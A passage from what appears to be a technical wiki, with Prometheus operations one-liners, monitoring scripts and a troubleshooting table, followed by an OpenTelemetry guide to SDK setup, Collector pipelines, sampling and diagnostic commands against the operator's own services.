&& curl -sf localhost:9090/-/ready && echo ready # TSDB snapshot for a backup (needs --web.enable-admin-api; writes under data/snapshots/) curl -sX POST localhost:9090/api/v1/admin/tsdb/snapshot | jq -r .data.name # Delete series matching a selector, then compact (admin API; irreversible) curl -sX POST -g 'localhost:9090/api/v1/admin/tsdb/delete_series?match[]={job="old-job"}' && curl -sX POST localhost:9090/api/v1/admin/tsdb/clean_tombstones # promtool: query the server from the shell promtool query instant http://localhost:9090 'sum by (job) (up)' promtool query range --start "$(date -d '1 hour ago' +%s)" --end "$(date +%s)" --step 5m http://localhost:9090 'sum(rate(http_requests_total[5m]))' # promtool: label cardinality analysis of a running server promtool tsdb analyze /var/lib/prometheus/data | head -60 # on the server; reads the blocks directly promtool query labels http://localhost:9090 job # label values via the API # promtool: scrape an endpoint once and check the exposition format curl -s localhost:9100/metrics | promtool check metrics # promtool: which metrics an exporter exposes, by type curl -s localhost:9100/metrics | grep '^# TYPE' | awk '{print $4}' | sort | uniq -c # promtool: test a relabel rule against a label set without a server promtool check service-discovery prometheus.yml kubernetes-pods --timeout 30s | head -40 # Fan out one query to several servers for s in prom-a prom-b; do printf '%s\t' "$s"; curl -s --data-urlencode 'query=count(up==1)' "http://$s.example.com:9090/api/v1/query" | jq -r '.data.result[0].value[1]'; done # Metrics that have no HELP text (usually hand-rolled instrumentation) curl -s localhost:9090/api/v1/metadata | jq -r '.data | to_entries[] | select(.value[0].help=="") | .key' # Compare the label sets of two series to see why a join fails curl -s --data-urlencode 'query=kube_pod_owner{pod="my-app-7c9d"}' localhost:9090/api/v1/query | jq '.data.result[].metric | keys' ``` ## Scripts Rank metrics by series count and identify the label responsible on each, the first step in any cardinality clean-up. ```sh #!/usr/bin/env bash # cardinality-report.sh [prometheus-url] [top-n]: top metrics by series and the highest-cardinality label on each set -euo pipefail url=${1:-http://localhost:9090}; top=${2:-15} total=$(curl -sf "$url/api/v1/status/tsdb" | jq '.data.headStats.numSeries') printf 'head series: %s\n\n%-8s %-50s %s\n' "$total" SERIES METRIC "HIGHEST-CARDINALITY LABEL" curl -sf "$url/api/v1/status/tsdb" | jq -r '.data.seriesCountByMetricName[] | "\(.value) \(.name)"' | head -n "$top" \ | while read -r count name; do worst=$(curl -sf -g "$url/api/v1/series?match[]=$name" \ | jq -r '[.data[] | to_entries[] | select(.key != "__name__")] | group_by(.key) | map({label: .[0].key, values: (map(.value) | unique | length)}) | max_by(.values) | "\(.label) (\(.values) values)"') printf '%-8s %-50s %s\n' "$count" "$name" "$worst" done ``` Check every scrape target and rule group and exit non-zero when something is wrong, for a cron job or a CI smoke test after a config change. ```sh #!/usr/bin/env bash # prom-health.sh [prometheus-url]: targets down, rules failing, config reload state, remote write lag; exit 1 on any finding set -euo pipefail url=${1:-http://localhost:9090}; rc=0 q() { curl -sf --max-time 10 --data-urlencode "query=$1" "$url/api/v1/query" | jq -r '.data.result[0].value[1] // "0"'; } curl -sf --max-time 5 "$url/-/ready" >/dev/null || { echo "CRIT: not ready"; exit 2; } if [ "$(curl -sf "$url/api/v1/status/runtimeinfo" | jq -r .data.reloadConfigSuccess)" != true ]; then echo "CRIT: last config reload failed"; rc=1 fi down=$(curl -sf "$url/api/v1/targets" | jq -r '.data.activeTargets[] | select(.health!="up") | " \(.labels.job)\t\(.scrapeUrl)\t\(.lastError)"') [ -z "$down" ] || { echo "WARN: targets down:"; echo "$down"; rc=1; } bad=$(curl -sf "$url/api/v1/rules" | jq -r '.data.groups[] | .name as $g | .rules[] | select(.health!="ok") | " \($g)/\(.name)\t\(.lastError)"') [ -z "$bad" ] || { echo "WARN: rules failing:"; echo "$bad"; rc=1; } missed=$(q 'sum(increase(prometheus_rule_group_iterations_missed_total[1h]))') [ "${missed%.*}" -eq 0 ] 2>/dev/null || { echo "WARN: $missed rule evaluations missed in the last hour (groups too slow)"; rc=1; } lag=$(q 'max(prometheus_remote_storage_highest_timestamp_in_seconds - ignoring(remote_name, url) group_right prometheus_remote_storage_queue_highest_sent_timestamp_seconds)') [ "${lag%.*}" -lt 60 ] 2>/dev/null || { echo "WARN: remote write lag ${lag}s"; rc=1; } dropped=$(q 'sum(increase(prometheus_remote_storage_samples_dropped_total[1h]))') [ "${dropped%.*}" -eq 0 ] 2>/dev/null || { echo "WARN: $dropped samples dropped by remote write in the last hour"; rc=1; } [ $rc -eq 0 ] && echo "OK: $(q 'count(up==1)') targets up, $(q 'prometheus_tsdb_head_series') series" exit $rc ``` Silence an alert for a maintenance window with an expiry and an audit comment, and remove any earlier silences with the same matchers so they do not stack. ```sh #!/usr/bin/env bash # silence.sh DURATION COMMENT matcher [matcher...] e.g. silence.sh 2h "db-01 patching" alertname=~".*" instance="db-01:9100" set -euo pipefail : "${ALERTMANAGER_URL:=http://localhost:9093}" duration=$1; comment=$2; shift 2 author=${USER:-unknown} existing=$(amtool silence query --alertmanager.url "$ALERTMANAGER_URL" -o json "$@" | jq -r --arg a "$author" '.[] | select(.createdBy==$a) | .id') for id in $existing; do amtool silence expire --alertmanager.url "$ALERTMANAGER_URL" "$id" && echo "expired earlier silence $id"; done id=$(amtool silence add --alertmanager.url "$ALERTMANAGER_URL" -a "$author" -d "$duration" -c "$comment" "$@") echo "silence $id active for $duration: $*" amtool alert query --alertmanager.url "$ALERTMANAGER_URL" --silenced "$@" -o json | jq -r '.[] | " now silenced: \(.labels.alertname) \(.labels.instance // "")"' ``` ## Troubleshooting | Symptom | Likely cause | Check | | --- | --- | --- | | Query returns nothing | Label typo, series not scraped, or window shorter than two scrapes | Run the bare selector; widen the `rate` window | | `up == 0` for a target | Endpoint down, wrong port or path, TLS or auth failure, NetworkPolicy | `lastError` from `/api/v1/targets`; curl the `scrapeUrl` from the Prometheus pod | | Target missing from `/targets` | Service discovery did not select it, or relabelling dropped it | Status > Service Discovery shows discovered and dropped labels | | Scrape fails after upgrade to 3.x | Exporter sends no valid `Content-Type` | Set `fallback_scrape_protocol: PrometheusText0.0.4` on the job | | `rate` shows a huge spike | Two targets write the same series, so the interleaved values look like resets | Graph the raw counter; look for duplicate `instance` labels | | p99 flat at a round number | True latency above the largest finite bucket | Inspect `_bucket` series; add buckets or move to native histograms | | Alert pending but never firing | Expression drops out between evaluations, resetting `for` | Graph the alert expression at the rule interval | | Alert never fires though the service is down | Series disappears instead of reporting an error | Add an `absent()` rule | | `many-to-many matching not allowed` | Join key not unique on one side | Aggregate that side or add labels to `on` | | `vector cannot contain metrics with the same labelset` | An operation removed the metric name and left duplicates | Aggregate with `sum by` before the operation | | Memory climbs, OOM kills | Cardinality growth | TSDB status API; `prometheus_tsdb_head_series` over time | | `out of order sample` or `duplicate sample for timestamp` | Two sources write the same series, often HA pairs without distinct external labels | Compare `instance` and `job` labels; check relabelling | | Reload returns 403 or 404 | Lifecycle API disabled | Start with `--web.enable-lifecycle` or send `SIGHUP` | | Alert fires in Prometheus but nobody is notified | Inhibited, silenced, routed to a blackhole, or the receiver rejected it | `amtool alert query -o json` status fields; `amtool config routes test`; `alertmanager_notifications_failed_total` | | Same alert pages twice | Two Alertmanagers not clustered, or Prometheus pairs with different `external_labels` | `amtool cluster show`; compare `external_labels` | | Grouped notification arrives late | `group_wait` or `group_interval` too long for the route | `amtool config routes show`; per-route timings | | Target discovered but not scraped | A `keep` relabel rule did not match or a `drop` did | Status > Service Discovery, dropped targets with their `__meta_*` labels | | Every pod label became a metric label | `labelmap` on `__meta_kubernetes_pod_label_(.+)` without a narrower regex | Restrict the regex; drop with `labeldrop` | | Remote write lag grows, then samples dropped | Receiver slow or down; shards at `max_shards` | `prometheus_remote_storage_shards`, `..._samples_pending`, `..._samples_dropped_total`; receiver logs | | `rule evaluations missed` or slow groups | Group takes longer than `interval` | `prometheus_rule_group_last_duration_seconds` vs `prometheus_rule_group_interval_seconds`; split the group | | Restart takes minutes with no scrapes | WAL replay | `/api/v1/status/walreplay`; smaller `--storage.tsdb.min-block-duration` is not the fix, less churn is | | `promtool test rules` passes, alert never fires live | Test `interval` differs from the group's, or live series have extra labels | Match `evaluation_interval` to the group; compare label sets | | OTLP metrics arrive with dots replaced by underscores or missing units | 3.x translation strategy | `otlp.translation_strategy` in the config; see the OTLP receiver docs | ## Further reading - [PromQL basics](https://prometheus.io/docs/prometheus/latest/querying/basics/) and [function reference](https://prometheus.io/docs/prometheus/latest/querying/functions/) - [Metric and label naming](https://prometheus.io/docs/practices/naming/) and [histograms and summaries](https://prometheus.io/docs/practices/histograms/) - [Alerting rules](https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/) and [HTTP API](https://prometheus.io/docs/prometheus/latest/querying/api/) - [Configuration reference](https://prometheus.io/docs/prometheus/latest/configuration/configuration/) (relabelling, service discovery, remote write) and [unit testing rules](https://prometheus.io/docs/prometheus/latest/configuration/unit_testing_rules/) - [Alertmanager configuration](https://prometheus.io/docs/alerting/latest/configuration/) and [notification templates](https://prometheus.io/docs/alerting/latest/notifications/) --- # OpenTelemetry > Configure OpenTelemetry SDKs and Collector pipelines, propagate trace context, choose a sampling strategy and find where telemetry is lost. Canonical: https://www.wiki.jodisand.me/opentelemetry/ Reviewed: 2026-09-24 Related: [Prometheus](https://www.wiki.jodisand.me/prometheus/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [HTTP and curl](https://www.wiki.jodisand.me/http/index.md), [Go](https://www.wiki.jodisand.me/go/index.md) ## Cheatsheet | Task | Command or setting | | --- | --- | | Point an SDK at a Collector over gRPC | `OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317 OTEL_EXPORTER_OTLP_PROTOCOL=grpc` | | Point an SDK at a Collector over HTTP | `OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318 OTEL_EXPORTER_OTLP_PROTOCOL=http/protobuf` | | Name the service | `OTEL_SERVICE_NAME=my-app` | | Sample 10% of new traces, follow the parent otherwise | `OTEL_TRACES_SAMPLER=parentbased_traceidratio OTEL_TRACES_SAMPLER_ARG=0.1` | | Turn off one signal | `OTEL_METRICS_EXPORTER=none` | | Turn off the SDK entirely | `OTEL_SDK_DISABLED=true` | | Validate Collector config | `otelcol validate --config=config.yaml` | | Print what the Collector receives | add the `debug` exporter with `verbosity: detailed` | | Collector's own metrics | `curl -s localhost:8888/metrics` | | Health check extension | `curl -s localhost:13133` | | Pipeline internals (zpages) | `curl -s localhost:55679/debug/tracez` | | Trace header on the wire | `curl -v` and look for `traceparent` | Replace `otelcol` with your distribution's binary (`otelcol-contrib`, `otelcol-k8s`). The OTLP defaults are port 4317 for gRPC and 4318 for HTTP. ## Signals, resources and context Three signals share one resource and one context. - A **trace** is a tree of spans with a shared 16-byte trace ID. Each span records one operation with start and end time, attributes, events and a status. - A **metric** is an aggregated measurement: counter, up-down counter, gauge or histogram. - A **log** is a timestamped record. When emitted inside an active span it carries that span's trace and span ID. Trace IDs attached to logs and to metric exemplars are what let a backend jump from a latency spike to the trace behind it. A **resource** describes the producer: `service.name`, `service.version`, `deployment.environment.name`, `k8s.pod.name`. It is attached to every signal from that process. Backends group by `service.name`, so a missing or wrong value makes data hard to find; SDKs fall back to `unknown_service` (plus the process name in some languages). > [!NOTE] > Semantic conventions 1.27 renamed `deployment.environment` to `deployment.environment.name`. Check which one your backend and dashboards expect. See [semantic conventions](https://opentelemetry.io/docs/specs/semconv/). **Context propagation** carries the trace across process boundaries in the W3C `traceparent` header, with optional `tracestate` and `baggage` headers. ```text traceparent: 00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01 version-trace id (32 hex)-parent span id (16 hex)-flags (01 = sampled) ``` A trace breaks exactly where propagation breaks: an uninstrumented hop, a proxy or queue that drops headers, async work that loses the context object, or two services configured with different propagators (`tracecontext` against `b3`, for example). ## SDK configuration with environment variables All official SDKs read the same environment variables. Set them in the deployment rather than in code so they can change without a rebuild. ```sh OTEL_SERVICE_NAME=my-app OTEL_RESOURCE_ATTRIBUTES=service.version=1.4.2,deployment.environment.name=prod OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector.observability:4318 OTEL_EXPORTER_OTLP_PROTOCOL=http/protobuf OTEL_TRACES_SAMPLER=parentbased_traceidratio OTEL_TRACES_SAMPLER_ARG=0.1 OTEL_PROPAGATORS=tracecontext,baggage ``` Two details cause most "no data" reports: - The specification default protocol is `http/protobuf`, but some SDKs default to `grpc`. Sending gRPC to 4318 or HTTP to 4317 fails. Set `OTEL_EXPORTER_OTLP_PROTOCOL` explicitly and match the port. - With HTTP, `OTEL_EXPORTER_OTLP_ENDPOINT` is a base URL and the SDK appends `/v1/traces`, `/v1/metrics` or `/v1/logs`. The signal-specific variables such as `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` are used as-is, so they must include the path. See the [OTLP exporter specification](https://opentelemetry.io/docs/specs/otel/protocol/exporter/) and [SDK environment variables](https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/). ## Manual spans Auto-instrumentation covers HTTP servers and clients, database drivers and messaging libraries. Add manual spans for business operations the framework cannot name. ```go tr := otel.Tracer("checkout") ctx, span := tr.Start(ctx, "reserve_inventory") defer span.End() span.SetAttributes(attribute.String("sku", sku), attribute.Int("qty", qty)) if err != nil { span.RecordError(err) span.SetStatus(codes.Error, "reservation failed") } ``` Pass `ctx` onward. A child span started from a different context starts a new trace. High-cardinality span attributes (user ID, order ID) are normal in traces; that is what traces are for. Do not copy them onto metric attributes, where each value creates a new series (see [Prometheus cardinality](https://www.wiki.jodisand.me/prometheus/#cardinality)). Never record credentials, tokens or personal data; redact in the Collector if the SDK cannot be changed. ## SDK setup in Go There is no agent for Go; the SDK is wired in `main`. The exporter constructors read `OTEL_EXPORTER_OTLP_*` from the environment, `resource.Default()` reads `OTEL_SERVICE_NAME` and `OTEL_RESOURCE_ATTRIBUTES`, and the default sampler reads `OTEL_TRACES_SAMPLER`, so code only needs to choose the exporter package and register the provider. See [Go](https://www.wiki.jodisand.me/go/) for module conventions. ```go import ( "context" "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp" "go.opentelemetry.io/otel" "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp" // otlptracegrpc for 4317 "go.opentelemetry.io/otel/propagation" "go.opentelemetry.io/otel/sdk/resource" sdktrace "go.opentelemetry.io/otel/sdk/trace" semconv "go.opentelemetry.io/otel/semconv/v1.26.0" ) func setupTracing(ctx context.Context) (func(context.Context) error, error) { exp, err := otlptracehttp.New(ctx) // endpoint, headers and TLS from OTEL_EXPORTER_OTLP_* variables if err != nil { return nil, err } res, err := resource.Merge(resource.Default(), // env detector: OTEL_SERVICE_NAME, OTEL_RESOURCE_ATTRIBUTES resource.NewWithAttributes(semconv.SchemaURL, semconv.ServiceVersion("1.4.2"))) if err != nil { return nil, err } tp := sdktrace.NewTracerProvider( sdktrace.WithBatcher(exp), // BatchSpanProcessor; exports every 5s or 512 spans by default sdktrace.WithResource(res), ) otel.SetTracerProvider(tp) otel.SetTextMapPropagator(propagation.NewCompositeTextMapPropagator( propagation.TraceContext{}, propagation.Baggage{})) return tp.Shutdown, nil // call with a timeout on exit or the last batch is lost } // Server: one span per request, named after the route pattern when the mux provides one mux := http.NewServeMux() srv := &http.Server{Addr: ":8080", Handler: otelhttp.NewHandler(mux, "server")} // Client: injects traceparent into every outbound request client := &http.Client{Transport: otelhttp.NewTransport(http.DefaultTransport)} ``` Two omissions account for most silent Go setups: forgetting `SetTextMapPropagator` (the default propagator is a no-op, so nothing is injected or extracted) and exiting without `Shutdown`, which drops whatever the batch processor still holds. `go.opentelemetry.io/contrib/exporters/autoexport` picks the exporter from `OTEL_TRACES_EXPORTER` (`otlp`, `console`, `none`) if you want that decided at deploy time. ## SDK setup in Python Python has zero-code instrumentation through a launcher and a manual SDK for code you own. The launcher patches supported libraries at import time and configures exporters from the standard variables. ```sh uv pip install opentelemetry-distro opentelemetry-exporter-otlp # SDK, launcher and both OTLP exporters opentelemetry-bootstrap -a install # detects installed libraries (Flask, requests, psycopg, ...) and installs their instrumentations OTEL_SERVICE_NAME=my-app OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317 \ opentelemetry-instrument gunicorn my_app:app # wraps the interpreter; no code change opentelemetry-instrument --traces_exporter console --metrics_exporter none python main.py # spans to stdout for a local check ``` The Python `opentelemetry-exporter-otlp` package defaults to gRPC on 4317; set `OTEL_EXPORTER_OTLP_PROTOCOL=http/protobuf` to use 4318. `OTEL_PYTHON_DISABLED_INSTRUMENTATIONS=redis,urllib3` turns off individual instrumentations, `OTEL_PYTHON_EXCLUDED_URLS=healthz,metrics` stops health probes creating a span per scrape, and `OTEL_PYTHON_LOG_CORRELATION=true` writes trace and span IDs into standard `logging` records. Frameworks that fork workers (gunicorn, uWSGI) need the provider created in the post-fork hook, otherwise every worker shares one exporter connection inherited from the parent. ```python from opentelemetry import trace from opentelemetry.exporter.otlp.proto.http.trace_exporter import OTLPSpanExporter from opentelemetry.sdk.resources import Resource from opentelemetry.sdk.trace import TracerProvider from opentelemetry.sdk.trace.export import BatchSpanProcessor provider = TracerProvider(resource=Resource.create({"service.name": "my-app", "service.version": "1.4.2"})) provider.add_span_processor(BatchSpanProcessor(OTLPSpanExporter())) # endpoint from OTEL_EXPORTER_OTLP_ENDPOINT trace.set_tracer_provider(provider) tracer = trace.get_tracer("checkout") with tracer.start_as_current_span("reserve_inventory") as span: # context manager ends the span and restores the parent span.set_attribute("sku", sku) try: reserve(sku) except ReservationError as exc: span.record_exception(exc) span.set_status(trace.StatusCode.ERROR, "reservation failed") raise ``` `set_tracer_provider` can be called once per process; later calls log a warning and are ignored, which is why a library must never call it. Threads started with `threading.Thread` do not inherit the active span; pass `context.get_current()` in and call `context.attach` in the worker. ## Semantic conventions Conventions name attributes so that dashboards and backends work across languages. Stable HTTP spans use `http.request.method`, `url.path`, `url.scheme` and `http.route` on servers, `url.full`, `server.address` and `server.port` on clients, and `http.response.status_code`, `network.protocol.version` and `error.type` on both. The span name is `{method} {route}` when a low-cardinality route is known and `{method}` alone otherwise; a span named after the raw path with IDs in it creates one operation per user in every backend. Metrics follow the same pattern: `http.server.request.duration` is a histogram in seconds with `http.request.method`, `http.route` and `http.response.status_code` attributes. Older instrumentations emit the pre-1.21 names (`http.method`, `http.status_code`, `net.peer.name`). Java, .NET and Python read `OTEL_SEMCONV_STABILITY_OPT_IN=http` to emit the stable names, or `http/dup` to emit both during a migration. Custom attributes belong under a namespace you own (`myorg.order.id`), never under `http.` or `db.` where a future convention can collide. ## Exporting to Jaeger, Tempo and Prometheus Every current backend accepts OTLP directly, so the SDK-side exporter is always OTLP and the choice happens in the Collector. Jaeger removed its own exporter from the Collector once Jaeger accepted OTLP natively (Jaeger 1.35, and Jaeger 2 is itself built on the Collector). ```sh # Jaeger all-in-one for local work: UI on 16686, OTLP on 4317 and 4318 podman run --rm -p 16686:16686 -p 4317:4317 -p 4318:4318 cr.jaegertracing.io/jaegertracing/jaeger:2.21.0 # Tempo's OTLP receiver listens on the same ports; grpc endpoints take host:port, HTTP takes a URL ``` ```yaml exporters: otlp_grpc/jaeger: endpoint: jaeger.observability:4317 tls: { insecure: true } # plaintext inside the cluster; omit for TLS otlp_http/tempo: endpoint: https://tempo.example.com # /v1/traces is appended headers: { X-Scope-OrgID: my-tenant } prometheus: # pull: exposes /metrics for Prometheus to scrape endpoint: 0.0.0.0:9464 metric_expiration: 5m # series without updates disappear after this enable_open_metrics: true # required for exemplars prometheus_remote_write: # push: Prometheus with remote-write receiver, Mimir, Thanos endpoint: https://mimir.example.com/api/v1/push resource_to_telemetry_conversion: { enabled: true } # copy resource attributes to labels ``` OTLP metrics carry resource attributes separately from data point attributes. Without `resource_to_telemetry_conversion`, `service.name` and `k8s.pod.name` end up in a `target_info` series rather than on every metric, and two pods reporting the same metric collide into one series. Dots become underscores in Prometheus (`http.server.request.duration` becomes `http_server_request_duration_seconds`), and delta-temporality counters must pass through the `deltatocumulative` processor before Prometheus will accept them. See [Prometheus](https://www.wiki.jodisand.me/prometheus/) for the scrape side. ## Dropping and sampling in the Collector The `filter` processor removes whole records that match an OTTL condition; `transform` edits records in place. Both use the same expression language. ```yaml processors: filter: error_mode: ignore trace_conditions: - span.attributes["url.path"] == "/healthz" # drop probe spans - resource.attributes["service.name"] == "load-test" log_conditions: - log.severity_number < SEVERITY_NUMBER_WARN # keep warnings and above metric_conditions: - metric.name == "go_gc_duration_seconds" probabilistic_sampler: # head-style sampling in the Collector, consistent by trace ID sampling_percentage: 15 mode: proportional # honours a previous sampler's decision recorded in tracestate ``` `probabilistic_sampler` hashes the trace ID, so every Collector instance with the same `hash_seed` makes the same decision and traces stay whole without trace-aware load balancing. It cannot keep errors preferentially; that needs `tail_sampling`. Dropping a span in the middle of a trace leaves its children orphaned in the backend, so filter on resource attributes or on leaf spans such as health checks. ## Collector configuration The Collector wires receivers, processors and exporters into named pipelines per signal. A component is declared at the top level and does nothing until a pipeline under `service` references it. Processors run in the order listed in each pipeline. ```yaml receivers: otlp: protocols: grpc: { endpoint: 0.0.0.0:4317 } # default is localhost; 0.0.0.0 is needed in a container http: { endpoint: 0.0.0.0:4318 } processors: memory_limiter: # first: refuses data before the process is OOM-killed check_interval: 1s limit_percentage: 80 spike_limit_percentage: 25 k8s_attributes: # adds pod, namespace, node and workload attributes auth_type: serviceAccount extract: metadata: [k8s.namespace.name, k8s.pod.name, k8s.deployment.name, k8s.node.name] resource_detection: detectors: [env, system] transform: error_mode: ignore trace_statements: - context: span statements: - delete_key(attributes, "http.request.header.authorization") batch: # after memory_limiter and any sampling timeout: 5s send_batch_size: 8192 exporters: otlp_http/tempo: endpoint: https://tempo.example.com retry_on_failure: { enabled: true, max_elapsed_time: 300s } sending_queue: { enabled: true, queue_size: 5000 } prometheus_remote_write: endpoint: https://mimir.example.com/api/v1/push debug: verbosity: detailed # troubleshooting only: logs every record extensions: health_check: { endpoint: 0.0.0.0:13133 } zpages: {} service: extensions: [health_check, zpages] pipelines: traces: receivers: [otlp] processors: [memory_limiter, k8s_attributes, transform, batch] exporters: [otlp_http/tempo] metrics: receivers: [otlp] processors: [memory_limiter, k8s_attributes, batch] exporters: [prometheus_remote_write] telemetry: metrics: level: detailed readers: - pull: exporter: prometheus: { host: 0.0.0.0, port: 8888 } ``` > [!IMPORTANT] Component names changed in 2026 > Collector v0.144.0 renamed `otlp` (exporter) to `otlp_grpc` and `otlphttp` to `otlp_http`. Contrib components followed, for example `k8sattributes` to `k8s_attributes`, `resourcedetection` to `resource_detection` and `prometheusremotewrite` to `prometheus_remote_write`. The old names remain as deprecated aliases that log a warning. Older Collectors only accept the old names, so match the names to the version you run. The `otlp` receiver kept its name. `service.telemetry.metrics.address` is ignored from v0.123.0; use `readers` as above. Without any reader configuration the Collector serves its metrics on `127.0.0.1:8888`. Put `memory_limiter` first so it can refuse data at the receiver, which returns a retryable error to the sender. Put `batch` after `memory_limiter` and after any sampling processor, so data that will be dropped is not batched first. Recent Collectors can also batch in the exporter with `sending_queue.batch`; the `batch` processor is still supported. The exporter `sending_queue` is in memory by default. Queued data is lost on restart unless the queue is given a `storage` extension such as `file_storage`. ## Deployment patterns | Pattern | Use | | --- | --- | | Agent (DaemonSet) | Receives from pods on the node, adds node and pod attributes, forwards to a gateway | | Gateway (Deployment) | Central processing: tail sampling, redaction, fan-out to several backends, backend credentials | | Sidecar | A workload needs an isolated pipeline or its own credentials | Agent plus gateway is the usual Kubernetes layout. The agent sees the pod's source IP, which `k8s_attributes` uses to look up metadata. The gateway holds backend credentials in one place and is where tail sampling can see a whole trace. The OpenTelemetry Operator can inject auto-instrumentation without changing images: ```yaml apiVersion: opentelemetry.io/v1alpha1 kind: Instrumentation metadata: name: default spec: exporter: endpoint: http://otel-collector:4318 propagators: [tracecontext, baggage] sampler: type: parentbased_traceidratio argument: "0.1" ``` ```yaml # Pod template annotation; also -python, -nodejs, -dotnet, -go metadata: annotations: instrumentation.opentelemetry.io/inject-java: "true" ``` Injection happens at pod creation, so existing pods need a restart. Check the injected environment with `kubectl get pod -o yaml | grep OTEL_` and see [Kubernetes](https://www.wiki.jodisand.me/kubernetes/#start-with-a-failing-workload) if the pod fails to start after injection. ## Sampling Head sampling decides at the root span and is cheap, but it cannot know whether the request will fail. `parentbased_*` samplers make child services follow the root's decision (the `01` flag in `traceparent`), so a trace is either complete or absent. Tail sampling buffers every span of a trace in the Collector and decides after `decision_wait`. It is the only way to keep every error and every slow request while dropping most healthy traffic. ```yaml processors: tail_sampling: decision_wait: 10s # default 30s num_traces: 100000 # traces held in memory; default 50000 policies: - name: errors type: status_code status_code: { status_codes: [ERROR] } - name: slow type: latency latency: { threshold_ms: 1000 } - name: baseline type: probabilistic probabilistic: { sampling_percentage: 5 } ``` Every span of a trace must reach the same Collector instance. Scale tail sampling with two tiers: a first tier using the load-balancing exporter routed by trace ID, and a second tier running `tail_sampling`. Plain round-robin load balancing splits traces and each instance decides on fragments. `decision_wait` must exceed the duration of your longest normal trace. Spans that arrive after the decision are buffered and decided again on their own (unless a decision cache is configured), which produces traces with missing tails at the slowest service. See the [tail sampling README](https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/main/processor/tailsamplingprocessor/README.md). ## Sending a test span ```json {"resourceSpans":[{"resource":{"attributes":[{"key":"service.name","value":{"stringValue":"curl-test"}}]},"scopeSpans":[{"scope":{"name":"manual"},"spans":[{"traceId":"5b8efff798038103d269b633813fc60c","spanId":"eee19b7ec3c1b174","name":"test-span","kind":1,"startTimeUnixNano":"1700000000000000000","endTimeUnixNano":"1700000001000000000"}]}]}]} ``` ```sh # Save the JSON above as span.json, then post it to the OTLP/HTTP receiver curl -sS -w '\n%{http_code}\n' -X POST http://localhost:4318/v1/traces \ -H 'Content-Type: application/json' -d @span.json ``` ```text {"partialSuccess":{}} 200 ``` Some versions return `{}` instead; either body with status 200 means the receiver accepted the span. With the `debug` exporter in the pipeline, the span appears in the Collector log. If it appears there but not in the backend, the problem is on the export side. ## Collector checks ```sh # Validate before rolling out otelcol validate --config=config.yaml # Data refused, failed to send, or failed to enqueue curl -s localhost:8888/metrics | grep -E 'otelcol_(receiver_refused|exporter_send_failed|exporter_enqueue_failed)' # Queue fill level against capacity curl -s localhost:8888/metrics | grep -E 'otelcol_exporter_queue_(size|capacity)' # Spans accepted per receiver curl -s localhost:8888/metrics | grep otelcol_receiver_accepted_spans # Collector memory curl -s localhost:8888/metrics | grep -E 'otelcol_process_(memory_rss|runtime_heap_alloc_bytes)' # Confirm a service forwards the trace header (look for traceparent on outbound calls in its logs or proxy) curl -sv -H 'traceparent: 00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01' https://api.example.com/healthz 2>&1 | grep -i traceparent # Watch records flowing through the debug exporter kubectl logs -n observability deploy/otel-collector -f | grep -m5 'InstrumentationScope' # What an SDK process will read from its environment env | grep ^OTEL_ # Which receivers, processors, exporters and extensions this binary contains otelcol components | grep -A40 '^processors:' # Validate with an inline override layered on the file (the yaml: provider) otelcol validate --config=config.yaml --config='yaml:service::telemetry::logs::level: debug' # Merge a local override on top of the deployed config (later files win) otelcol --config=config.yaml --config=overrides.yaml # Is the health check extension happy (200) or not (503) curl -s -o /dev/null -w '%{http_code}\n' localhost:13133 # Spans dropped by tail sampling, per policy decision curl -s localhost:8888/metrics | grep -E 'otelcol_processor_tail_sampling_(count_traces_sampled|sampling_decision_latency)' # Data the memory_limiter refused curl -s localhost:8888/metrics | grep otelcol_processor_refused # Batch sizes actually sent, to tune send_batch_size curl -s localhost:8888/metrics | grep otelcol_processor_batch_batch_send_size # Export throughput per exporter and signal curl -s localhost:8888/metrics | grep -E 'otelcol_exporter_sent_(spans|metric_points|log_records)' # Late spans that arrived after a tail-sampling decision curl -s localhost:8888/metrics | grep otelcol_processor_tail_sampling_late_span_age # Follow sampled trace fragments through zpages for one span name curl -s 'localhost:55679/debug/tracez?zspanname=GET%20/api&ztype=1&zsubtype=0' | sed 's/<[^>]*>//g' | grep -v '^\s*$' | head -40 # Post a test metric to the OTLP/HTTP receiver curl -sS -X POST localhost:4318/v1/metrics -H 'Content-Type: application/json' -d '{"resourceMetrics":[{"resource":{"attributes":[{"key":"service.name","value":{"stringValue":"curl-test"}}]},"scopeMetrics":[{"metrics":[{"name":"test.counter","sum":{"aggregationTemporality":2,"isMonotonic":true,"dataPoints":[{"asInt":"1","timeUnixNano":"'$(date +%s%N)'"}]}}]}]}]}' # Post a test log record with a trace ID so the backend can link it curl -sS -X POST localhost:4318/v1/logs -H 'Content-Type: application/json' -d '{"resourceLogs":[{"resource":{"attributes":[{"key":"service.name","value":{"stringValue":"curl-test"}}]},"scopeLogs":[{"logRecords":[{"timeUnixNano":"'$(date +%s%N)'","severityNumber":9,"severityText":"INFO","body":{"stringValue":"hello"},"traceId":"5b8efff798038103d269b633813fc60c","spanId":"eee19b7ec3c1b174"}]}]}]}' # Check the gRPC receiver speaks OTLP without an SDK: any grpc-status header back (even an error) proves the service is there curl -sS --http2-prior-knowledge -X POST -H 'content-type: application/grpc' -D - -o /dev/null http://localhost:4317/opentelemetry.proto.collector.trace.v1.TraceService/Export | grep -i grpc-status # Generate a valid random traceparent for a manual request printf 'traceparent: 00-%s-%s-01\n' "$(openssl rand -hex 16)" "$(openssl rand -hex 8)" # Send a request with a fresh trace and print the IDs so you can search the backend for them tp="00-$(openssl rand -hex 16)-$(openssl rand -hex 8)-01"; echo "$tp"; curl -sS -o /dev/null -H "traceparent: $tp" https://api.example.com/orders # Print the spans the Go SDK would export, without a Collector OTEL_TRACES_EXPORTER=console go run ./cmd/my-app # Same for Python, one span per line opentelemetry-instrument --traces_exporter console --metrics_exporter none --logs_exporter none python main.py # Which instrumentations the Python launcher will activate opentelemetry-bootstrap -a requirements # 